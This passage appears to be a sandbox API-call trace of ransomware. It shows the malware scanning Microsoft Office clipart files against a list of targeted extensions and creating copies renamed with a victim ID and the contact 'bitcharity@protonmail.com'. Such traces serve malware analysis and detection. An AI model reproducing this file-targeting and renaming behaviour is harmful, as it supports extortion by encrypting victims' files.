0x1280 [0256.634] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.634] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.634] CloseHandle (hObject=0x1280) returned 1 [0256.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.635] lstrlenW (lpString=".doc") returned 4 [0256.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString=".docx") returned 5 [0256.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.635] lstrlenW (lpString=".pdf") returned 4 [0256.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString=".xls") returned 4 [0256.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.635] lstrlenW (lpString=".xlsx") returned 5 [0256.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.635] lstrlenW (lpString=".ppt") returned 4 [0256.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.635] lstrlenW (lpString=".zip") returned 4 [0256.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.635] lstrlenW (lpString=".rar") returned 4 [0256.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString=".bz2") returned 4 [0256.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.635] lstrlenW (lpString=".7z") returned 3 [0256.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.636] lstrlenW (lpString=".dbf") returned 4 [0256.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.636] lstrlenW (lpString=".1cd") returned 4 [0256.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.636] lstrlenW (lpString=".jpg") returned 4 [0256.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.636] lstrlenW (lpString=".doc") returned 4 [0256.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.636] lstrlenW (lpString=".docx") returned 5 [0256.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.636] lstrlenW (lpString=".pdf") returned 4 [0256.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.636] lstrlenW (lpString=".xls") returned 4 [0256.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.636] lstrlenW (lpString=".xlsx") returned 5 [0256.636] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.637] lstrlenW (lpString=".ppt") returned 4 [0256.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.637] lstrlenW (lpString=".zip") returned 4 [0256.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.637] lstrlenW (lpString=".rar") returned 4 [0256.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.637] lstrlenW (lpString=".bz2") returned 4 [0256.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.637] lstrlenW (lpString=".7z") returned 3 [0256.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.637] lstrlenW (lpString=".dbf") returned 4 [0256.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.637] lstrlenW (lpString=".1cd") returned 4 [0256.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF") returned 68 [0256.638] lstrlenW (lpString=".jpg") returned 4 [0256.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.638] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.638] lstrlenW (lpString="NA00494_.WMF") returned 12 [0256.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1280 [0256.639] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=2360) returned 1 [0256.639] CloseHandle (hObject=0x1280) returned 1 [0256.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf")) returned 0x220 [0256.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1280 [0256.640] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.640] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.641] CloseHandle (hObject=0x1280) returned 1 [0256.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0256.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0256.641] lstrlenW (lpString=".doc") returned 4 [0256.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.641] lstrlenW (lpString=".docx") returned 5 [0256.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.641] lstrlenW (lpString=".pdf") returned 4 [0256.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.641] lstrlenW (lpString=".xls") returned 4 [0256.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.641] lstrlenW (lpString=".xlsx") returned 5 [0256.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.641] lstrlenW (lpString=".ppt") returned 4 [0256.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0256.641] lstrlenW (lpString=".zip") returned 4 [0256.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.641] lstrlenW (lpString=".rar") returned 4 [0256.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.641] lstrlenW (lpString=".bz2") returned 4 [0256.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.641] lstrlenW (lpString=".7z") returned 3 [0256.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0256.642] lstrlenW (lpString=".dbf") returned 4 [0256.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.642] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.643] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00512_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00512_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.644] CloseHandle (hObject=0x1280) returned 1 [0256.646] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.646] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00523_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00523_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.647] CloseHandle (hObject=0x1280) returned 1 [0256.648] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.648] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00525_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00525_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.649] CloseHandle (hObject=0x1280) returned 1 [0256.650] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.650] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.650] CloseHandle (hObject=0x1280) returned 1 [0256.909] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.909] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00532_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00532_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.909] CloseHandle (hObject=0x11d0) returned 1 [0256.952] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.952] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01161_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01161_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.952] CloseHandle (hObject=0x11d0) returned 1 [0256.954] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.955] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.955] CloseHandle (hObject=0x11d0) returned 1 [0256.957] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.957] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.958] CloseHandle (hObject=0x11d0) returned 1 [0256.959] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.959] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.960] CloseHandle (hObject=0x11d0) returned 1 [0256.962] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.962] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01356_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01356_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.962] CloseHandle (hObject=0x11d0) returned 1 [0256.963] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.963] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.964] CloseHandle (hObject=0x11d0) returned 1 [0256.967] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.967] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.967] CloseHandle (hObject=0x11d0) returned 1 [0256.970] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.970] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.971] CloseHandle (hObject=0x11d0) returned 1 [0256.972] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.972] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01368_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01368_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.973] CloseHandle (hObject=0x11d0) returned 1 [0256.975] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.975] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.975] CloseHandle (hObject=0x11d0) returned 1 [0256.977] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.978] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.978] CloseHandle (hObject=0x11d0) returned 1 [0256.979] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.979] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.980] CloseHandle (hObject=0x11d0) returned 1 [0256.982] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.982] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.983] CloseHandle (hObject=0x11d0) returned 1 [0256.984] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.984] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01473_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01473_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.985] CloseHandle (hObject=0x11d0) returned 1 [0256.986] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.986] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.987] CloseHandle (hObject=0x11d0) returned 1 [0256.989] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.989] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 